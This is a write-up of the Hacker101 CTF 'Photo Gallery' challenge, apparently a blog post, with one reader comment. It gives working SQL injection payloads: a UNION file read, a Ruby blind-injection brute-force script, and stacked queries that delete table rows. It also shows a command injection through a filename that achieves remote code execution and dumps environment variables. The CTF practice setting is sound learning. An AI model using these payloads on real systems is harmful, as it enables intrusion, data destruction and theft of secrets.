These are my notes from the hacker101 CTF which is here. Slightly edited but mostly raw notes
Challenge: Photo Gallery
Flag0: SQLi
I had to craft a union that took in a wrong id and then executed a union where I passed down the path to main.py which is where everything happens.
First we are given in the hints that this is a docker image, which is documented here:
https://github.com/tiangolo/uwsgi-nginx-flask-docker
Then by looking at the app, in order to grab the images from the server the following is used fetch?id=1
This is an indication that we should test for a SQLi, by using the hints we can see that this will require a UNION
We have look at how the UNION
command works in SQL:
UNION based attack: Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns). (https://sqlwiki.netspi.com/injectionTypes/unionBased/#mysql)
Now we think how would this query work? And start coming up with some theories
// I think the query is performed like this
SELECT image_name FROM a_table WHERE id=number
This query will return the file name and then this file name will be looked up and returned, so using a union we might be able to trick the DB into handing us some other files if we just give it a filename that is interesting - this is where that docker image comes in handy, we know there is a main.py
file and we also know the file structure - so here is my payload, I had to give it an id that didn’t exist so my UNION would work.
/fetch?id=-1 UNION select '/../../main.py'
This handed me the file and the flag was a comment.
Flag1: SQLi + LIKE argument
Had to figure out a way to get the filename from that hidden kitty - the filename turned out the be flag. I worked on the assumption that the file name was what was triggering a 500 server error.
I wrote the following ruby script, it uses the httparty
library to make a request to the challenge instance, the function check?
creates the url by inserting the str
variable into the request, we can use the LIKE
SQL command to match the current str to the filename, if the filename contains the string inside the variable we should get a 500 server error, the response.code == 500
line will return true if the response code is 500 and false if it is anything else, which is what we want. The key here is knowing that the 500 error can be used to get the filename.
I created the range of alphanumerical characters including capital letters using a range in ruby, then I initialized the payload variable which eventually would hold the complete payload. In this infinite while loop, I’m sure there is a better way of doing this, I tested each character in the range and passed it to the check?
function if it returned a 500 that character would get added to my payload string and then I would test for the next character including the previous successful one payload+nextCharacter
, if the character returned anything other than a 500 it would just get skipped, iterating through these characters until nothing more was being added to the string gave me the full filename - which turned out to be the flag
require 'httparty'
def check?(str)
resp = HTTParty.get("http://34.94.3.143/a5648e58cd/fetch?id=-1 UNION SELECT filename FROM photos WHERE filename LIKE '#{str}%' AND id=3")
puts resp.code.to_s
if resp.code == 500
return true
else
return false
end
end
CHARSET = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a
payload = ''
loop do
CHARSET.each do |c|
puts "Trying: #{c} for #{payload}"
test = payload + c
next unless check?(test.to_s)
payload += c
puts payload
break
end
end
Flag2: SQLi, Stacked queries
Assumption:
We have to update some document, and we also need to make sure we used stacked queries, and use the commit
command to apply the changes, there is something weird about that subprocess call - it runs commands on the computer which is never a good thing - also the way is written I think I can end the quote and add my payload there by creating an album with a weird name.
Got to delete all images using:
http://35.190.155.168:5001/8ab77dbb88/fetch?id=1;%20DELETE%20%20FROM%20photos;%20commit;
Using the ;DELETE FROM photos; commit; query I was able delete all images from the photos table
I think the vulnerability in the way the size of the albums gets calculated is here:
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
After deleting all the images my method won’t work to update them though, should be thinking about how can I create a new album.
Current payload:
/fetch?id=1; INSERT INTO photos (title, filename) VALUES ('; ls')', 'cat.png'); commit;
Not working:
- I get a 404 because it tries to find that id
- The payload is not correct, I think that I can close that subprocess function by inserting a title containing the ‘;’ + the os command I want to run and closing the ‘’)’ - I think this should execute the command I want and send the result back
Questions: Since I deleted everything in the table how can I insert a new one - or should I just restart with all the images and update one of them?
Here is the payload that worked after changing the name of the id=3
image which contained FLAG1 - I deleted the other images and only worked with the image with id=3
but it could have been any image.
fetch?id=1; UPDATE photos SET filename="; grep -r FLAG ." WHERE id=3; commit;
However right now I can’t seem to find the flag that I need, also this was truncating my results because of this
strip().rsplit('\n', 1)[-1]
This looks promising - this was nothing lol
fetch?id=1; UPDATE photos SET filename=";grep -rl 'FLAG' /var" WHERE id=3; commit;
Got this file
/var/lib/mysql/level5/photos.ibd
fetch?id=3; UPDATE photos SET filename=";echo $(grep -r 'FLAG' /../) " WHERE id=3; commit;
// al the files inside the /app directory
Space used: Dockerfile files main.py main.pyc prestart.sh requirements.txt uwsgi.ini
Still need to find this flag but I have RCE on the server so eventually I will find it - just need to figure out where it is
Haha @ 7:50 on 3/13/2019:
I got around the truncated answers by using echo to print the results of the command I ran.
This is the payload that worked.
fetch?id=3; UPDATE photos SET filename=";echo $(printenv)" WHERE id=3; commit;
// payload worked - all 3 flags in printenv
// end
Top comments (1)
Hi bro, I didn't read your post fully as I am passing the ctf, bro I also thought to load files with union but because of my bad SQL skills, I got dumber payload "1 UNION SELECT 'files/purrfect.jpg' ORDER BY ASC" and I should also try it with DESC so it would work, my question is how did you got the path /../../main.py did you knew the structure of file system or just brute-forced it? because me myself I am not familiar with python web development and flask.